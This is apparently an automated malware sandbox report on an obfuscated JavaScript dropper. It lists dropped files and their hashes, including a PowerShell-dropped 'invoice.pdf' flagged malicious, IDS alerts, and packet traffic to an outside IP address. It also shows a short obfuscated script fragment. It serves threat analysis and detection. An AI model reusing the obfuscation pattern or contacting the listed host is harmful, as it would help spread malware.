SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a9a959cb-d9f5-4360-bbcf-48016b938533.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d3eda34e-ff65-443e-979b-6b4a7bf898e8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fdd151d4-d8f1-4772-bbb1-9906bb8d851d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ISO-8859 text, with very long lines (3486), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	14456
Entropy (8bit):	4.2098179599164975
Encrypted:	false
SSDEEP:	192:gcPqYV/saFlwwR+kMqe8TlZMX1sgUVa3ddMVsuNeMcGdSD9obOUAVlcMudM/Y14e:g7Q/X4kMb0lZ6mgtdHOelGdWaolvsTZ
MD5:	32FCA302C8B872738373D7CCB1E75FD4
SHA1:	DA85FAF24ED0ECFD5D69CCFD6286D8B77D7EB4F1
SHA-256:	CD0DD26304B88C20801FE80B33C49C009E2E5D4411B5D7F83252E1D90CD461C6
SHA-512:	57F8CC85FAFB15455074431216E47433E50DF5DE74ED74C395B7FF2C433DB7CE06F0A1C1FE1EFDC17229DBC33325D559789F43901556DD1A12963B94F01D5A1F
Malicious:	false
Preview:	%PPKLITE-2.1.%......1 0 obj.<</PPK<</AddressBook<</Entries[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R]/NextID 1006/Type/AddressBook>>/Type/PPK/User<</Type/User>>/V 65537>>/Type/Catalog>>.endobj.2 0 obj.<</ABEType 1/Cert<308204A130820389A00302010202043E1CBD28300D06092A864886F70D01010505003069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F74204341301E170D3033303130383233333732335A170D3233303130393030303732335A3069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F7420434130820122300D06092A864886F70D01010105000382010F003082010A0282010100CC4F5484F7A7A2E733537F3F9C12886B2C9947677E0F1EB9AD1488F9C310D81DF0F0D59F690A2F5935B0CC6CA94C9C15A09FCE20BFA0CF54E2E02066453F3986387E9CC48E0722C624F60112B035DF55EA6990B

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18088), with CRLF line terminators
Entropy (8bit):	4.922033603159
TrID:
File name:	1283220404157902514.js
File size:	21'651 bytes
MD5:	de178858f959ad31aad5e70b7470b9ba
SHA1:	c3f09f54c5285b93a635b1f89619c9906304d43b
SHA256:	7f87d3ba0b60f3c577edbc71eba0b7b0abe3a6caa4be45d17a3f557b9415ef6d
SHA512:	99f3693ef7cca0ea9522b938178d3c18f4f32c6cd95da6ed9b9e73a439bd89ea1aedcfd4a3fdd991921048f2597d5b3aed8538cb78a32834e4ff6c69cca4a601
SSDEEP:	384:uquHsVqquBo8f4YRl8dfRPdeNhde7Dv4aOERhyLi5bMFyxP1xNe+j2hMokABsur/:gMS5VzQXO2hyLIqJH4h0
TLSH:	F5A2B8DCD420BE96AAFF11F48B6F48CB2ADC12E481AE21BA5D16B4D403135973FE50B5
File Content Preview:	function gjhrdjz(){swast=[1031,3079,5127,4103,2055,3072];var fynilloxk=this[uepgmam+mdrdhhgie+bvcssympp+mbnfspwlr+bqptj+flxbpwb+odfmywk+zkrkqfgz](this[dlqaetcnd+mkdmzng+sambk+bvcssympp+fuccfxl+uepgmam+zkrkqfgz][jlgfhrrh+bvcssympp+bqptj+mdrdhhgie+zkrkqfgz+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:31:37.185949+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T18:31:39.351344+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:31:36.368148088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:36.373106956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:36.373191118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:36.375807047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:36.380584955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185687065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185710907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185718060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185724020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185730934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185736895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185751915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185756922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185762882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185770035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.185949087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.185949087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.190821886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.190829992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.190845013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.190917969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.240967989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.240991116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.241169930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.307740927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.307789087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.307806969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.307879925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.307965040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.307992935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.308012009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.308033943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.308088064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.308399916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.308413982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.308542013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.308584929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.308615923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.308618069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.308655024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.309089899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.309108973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.309146881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.309164047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.309170961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.309187889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.309195042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.309243917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.309900045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.309919119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.309969902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.309972048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.309988022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.310009003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.310050964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.310811996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.310831070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.310867071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.310887098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.311220884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.373621941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.373640060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.373658895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.373665094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.373691082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.373744011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.398341894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.428688049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.428714991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.428719997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.428750992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.428775072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.428783894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.428791046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.428798914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.428878069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.429148912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429195881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429402113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429406881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429414988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429414988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.429451942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.429478884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.429841042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429847956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429862022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429867029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429874897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.429908037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.430448055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.430459976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.430469990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.430474997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.430489063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.430495024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.430506945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.430515051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.430521965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.430545092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.432132959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432149887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432162046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432189941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432195902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432214975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432224035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432235003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432240009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.432259083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432269096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432279110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.432296038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432312965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432317972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.432323933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432348013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.432352066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432364941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432370901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.432377100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.432400942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.433231115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.433242083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.433377981 CET	49704	80	192.168.2.5	193.143.1.205
